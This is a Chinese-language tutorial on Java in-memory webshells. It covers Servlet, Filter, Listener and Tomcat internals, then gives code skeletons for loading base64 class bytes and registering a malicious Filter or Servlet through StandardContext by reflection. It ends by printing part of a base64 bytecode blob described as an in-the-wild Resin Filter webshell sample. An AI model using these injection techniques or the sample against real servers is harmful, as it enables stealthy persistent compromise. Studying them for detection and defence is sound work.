内存Webshell马详解

一、内存马概述

1、内存马简介

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。

内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到。因此内存马近年来越来越被重视,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。

无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,Windows Management Instrumentation(WMI)和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。

通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。

2、内存马类型

内存Webshell马详解_第1张图片

根据内存马注入的方式,大致可以将内存马划分为如下两类:

  • servlet-api型

通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

  • 字节码增强型

通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

二、webshell内存马原理

1、内存马原理简介

webshell的变迁过程大致如下所述:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马。

传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马。Webshell内存马,是在内存中写入恶意后门和木马并执行,利用中间件的进程执行某些恶意代码,达到远程控制Web服务器的一类内存马。其瞄准了企业的对外窗口:网站、应用,因不会有文件落地,给检测带来巨大难度。

而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。 

webshell内存马原理其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作。内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。

2、Servlet

1. Servlet 简介

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

2. 请求的处理过程

  • 客户端发起一个http请求,比如get类型。
  • Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
  • Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
  • Servlet容器调用service()方法。
  • service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
  • doXXX方法中是我们自己写的业务逻辑。
  • 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
  • 容器关闭时候,会调用destory方法。

3. servlet生命周期

  • 服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。
  • servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
  • 服务器关闭时,销毁这个servlet对象,执行destroy()方法。
  • 由JVM进行垃圾回收。

3、Filter

1. Filter 简介

Filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

2. Filter 工作原理

  1. Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
  2. 当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
  3. 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
  4. 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
  5. 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
  6. 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

3. Filter 生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

4. Filter 链

当多个Filter同时存在的时候,组成了Filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有Filter决定后面是否还调用Filter。

4、Listener

1. Listener 简介

JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

  • ServletContextListener:对Servlet上下文的创建和销毁进行监听;
  • ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换;
  • HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。
  • HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;
  • ServletRequestListener:对请求对象的初始化和销毁进行监听;
  • ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。

2. Listener 用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

5、Tomcat

1. Tomcat 简介

简单理解,tomcat是http服务器+servlet容器。

Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。

2. Tomcat架构设计

前面提到过,Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器和容器,连接器用来处理外部网络连接,容器用来处理内部 Servlet。

让我们用一张图来表示它们的关系:

内存Webshell马详解_第2张图片

一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。

一个engine可以对一个多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrApper,也就是servlet。这个映射关系,通过mApper组件来关联,mApper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,WrApper容器中的servlet映射的路径,这些配置信息是多层次的Map。

根据请求定位到指定servlet的流程图如下:

内存Webshell马详解_第3张图片

6、java反射

反射提供的功能,能在运行时(动态)的

  • 获取一个类的所有成员变量和方法
  • 创建一个类的对象
  1. 获取对象成员变量&赋值
  2. 调用对象的方法
  3. 判断对象所属的类

在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrApper)添加到当前的context的children中。

在使用Java反射机制时,主要步骤包括:

  1. 获取 目标类型的Class对象
  2. 通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
  3. 通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

7、java instrumentation

Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。

在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。

内存Webshell马详解_第4张图片

三、Java内存马实现

1、普通型Java内存马

所谓普通型内存马就是向中间件中注入恶意的Listener、Filter或Servlet。除此之外还有叫做Agent内存马的,之前文章中也提到过了。所有的Java Web程序都遵循JavaEE规范,而Servlet就是规范中的一个。支持此规范的也叫做Servlet容器。无论Tomcat、Weblogic、Jboss、Jetty、Resin还是TongWeb都可以叫做Servlet容器。它们的请求都是Servlet进行处理的。不同Servlet之间可能有共同的逻辑,这部分可能被抽象成Filter(过滤器),在HTTP请求到达Servlet之前,先被filter预处理。Listener则是监听器,监控事件的发生。三者作为Java Web的三大组件,如果其功能中包含了执行操作系统命令,还可以将命令结果显示出来(简称“回显”),也就是具备了木马的功能。但因为它并不存在于jsp中,而是存在于内存中,所以也就被称为内存马。

通过漏洞向中间件(Tomcat、Weblogic等)中注入内存马,也就是注入Listener、Filter或Servlet到内存中,然后模拟中间件对其进行加载。所以内存马制作的核心就是三步:(1)制作恶意的Listener、Filter或Servlet (2)注入到内存 (3)根据不同的中间件对三者的加载进行模拟。

项目地址:GitHub - ax1sX/MemShell: MemShell List

1. 制作恶意的Listener、Filter或Servlet

也就是新建一个类实现Listener、Filter或Servlet接口,重写其中的方法。这里需要注意的是Listener。Servlet的作用域包括:ServletContext、HttpSession、HttpServletRequest,对Http请求进行监听是更为通用的做法,也就是选取HttpServletRequest对应的监听器更容易利用,即ServletRequestListener接口。

public class MyListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
         // 恶意代码
    }   
}

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
        // 恶意代码
    }

    @Override
    public void destroy() {}
}


public class MyServlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
       // 恶意代码
    }

    public void destroy() {}
}

2. 注入到内存

制作完上述的恶意Listener、Filter、Servlet实现类后,需要注入到内存中,通过类加载器进行。因为目标系统中并不存在这些实现类,所以没法new,那么就通过先将类转换成base64字符串,然后在注入内存前转换成class,来解决这个问题。

ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
String ServletBase64="yv66vg..." // Listener/Filter/Servlet类的base64字符串;
byte[] ServletClass = new BASE64Decoder().decodeBuffer(ServletBase64);
Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
Class servletClass = (Class) defineClass1.invoke(classLoader, ServletClass, 0, ServletClass.length);
Object servletObject=servletClass.newInstance();

3. 根据不同的中间件对三者的加载进行模拟

这一步是最难的。不同的中间件加载方式不同。中间件在初始化的过程中对web.xml中的内容进行解析,然后加载到Context这个共享变量空间去。这样全局都可以使用这些变量。不同的中间件对Context的实现类不同。例如,Tomcat对其的实现类叫做StandardContext,Weblogic对其的实现类叫WebAppServletContext...

1)web.xml

web.xml也是Java Web规范,各类中间件通用,写法如下:

    
        MyServlet
        com.axisx.MyServlet
    

    
        MyServlet
        /servlet
    

    
        MyFilter
        com.axisx.MyFilter
    
    
        MyFilter
        /filter //当访问`/filter`路由时会先被MyFilter拦截,调用MyFilter类的doFilter方法
    

    
        com.axisx.MyListener
    

以Filter为例,StandardContext涉及到的部分代码如下,已经说明了web.xml如何与代码相对应的。

private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
    //FilterDef:Filter定义的表示,代表标签中的内容
    FilterDef filterDef = this.context.findFilterDef(filterName); 
    if (filterDef == null) {
        filterDef = new FilterDef();
        filterDef.setFilterName(filterName); //对应
        //StandardContext.addFilterDef
        this.context.addFilterDef(filterDef); 
    } 
    ..
    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter); // 对应
    }
}

public boolean filterStart() {
    Iterator i$ = this.filterDefs.entrySet().iterator();
    while(i$.hasNext()) {
         ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); //将步骤a中的FilterDef放进来
         this.filterConfigs.put(name, filterConfig);  //将filterDef放入AppllicationFilterConfig.filterConfigs
    }
}

public void addFilterMaps(FilterMaps filterMaps) {
    for(i$ = 0; i$ < len$; ++i$) {
        urlPattern = arr$[i$];
        fmap = new FilterMap(); //对应
        fmap.setFilterName(filterMaps.getFilterName()); //对应子标签
        fmap.setURLPattern(urlPattern); //对应子标签

所以想要注入一个恶意Filter,代码大致如下:

// 1 实现恶意Filter
Filter filter = new Filter() {. // init() 、 doFilter() 、 destory()方法重写
};

// 2 定义FilterDef
String name="MyFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 3 创建ApplicationFilterConfig,FilterDef放入FilterConfig中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

// 4 定义FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);

// 5 将filterConfig添加到filterConfigs、filterMap添加到filterMaps
filterConfigs.put(name,filterConfig);
standardContext.addFilterMap(filterMap);

为了保证通用性,上述代码全部用反射来完成。

Filter的操作基本都在StandardContext中,Servlet外层被Wrapper包装,对于Wrapper的赋值操作存在于ContextConfig类中。最终Wrapper也会被添加到StandardContext中。

// ContextConfig.configureContext
private void configureContext(WebXml webxml) {
    ServletDef servlet = (ServletDef)i$.next();
    Wrapper wrapper = this.context.createWrapper();
    wrapper.setName(servlet.getServletName());
    wrapper.setServletClass(servlet.getServletClass());
    wrapper.setOverridable(servlet.isOverridable());
    this.context.addChild(wrapper);
}

上述addFilter等方法,filterConfigs等属性都位于StandardContext中(以Tomcat为例)。每个中间件对于Context的实现类,如Tomcat的StandardContext,这个类都是全局唯一的,不能new。那么如何获取?

2)Context获取

a. 一种是通过request对象,但是有时候页面中获取不到request对象。

request.getSession().getServletContext();
request.getServletContext(); // Tomcat7及以上

b. 一种是通过类加载器,找到Context对应的类加载器。

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取当前线程上下文类加载器ParallelWebappClassLoader,是webappClassLoaderBase的子类
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

c. 一种是通过Java特性,例如MBean。

这里补充一下Weblogic获取MBean。Weblogic中有个类weblogic.t3.srvr.ServerRuntime,用于运行时管理,它采用单例模式设计,只有一个对象能够被外界访问,通过theOne方法可以获取。该类的children中有很多MBean的实现类。关于应用管理的是ApplicationRuntimeMBeanImpl,其中的WebAppRuntimeMBeanImpl的context属性可以获取到WebAppServletContext。

内存Webshell马详解_第5张图片

根据上图可以看到获取思路为ServerRuntime.children-> ApplicationRuntimeMBeanImpl.children-> WebAppRuntimeMBeanImpl.context,

d. 一种是通过线程。这也是最为常用的方式。以Tomcat为例,架构如下。连接器是用来接收请求的。

内存Webshell马详解_第6张图片

Thread.currentThread().getThreadGroup();看到当前线程如下, 会发现有一个是走的Acceptor。

内存Webshell马详解_第7张图片

按照Tomcat架构的逻辑逐层寻找,最终能找到StandardContext。 

内存Webshell马详解_第8张图片

这种通过线程查找Context的方法并不唯一。因为a.中提到可以从request中获取Context。那么也就可以先从Thread中找到request,然后用request找到Context。

内存Webshell马详解_第9张图片

然后获取Context就写成了如下的反射代码:

ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
Field field=threadGroup.getClass().getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads=(Thread[])field.get(threadGroup);
for (Thread thread : threads) {
    if(thread.getName().contains("Acceptor")&&thread.getName().contains("http")){
        Field tfield=thread.getClass().getDeclaredField("target");
        tfield.setAccessible(true);
        Object NioEndpoint$=tfield.get(thread);
        ...
    }
}

最后,将上述内容连起来,制作一个恶意的Listener、Filter或者Servlet,注入到内存中。然后通过线程等方式获取到Context。利用Context中的方法将注入到内容中的内容进行加载。

4. 在野样本分析

最后,补充一下,之前网上流传的一串野生Resin Filter。

String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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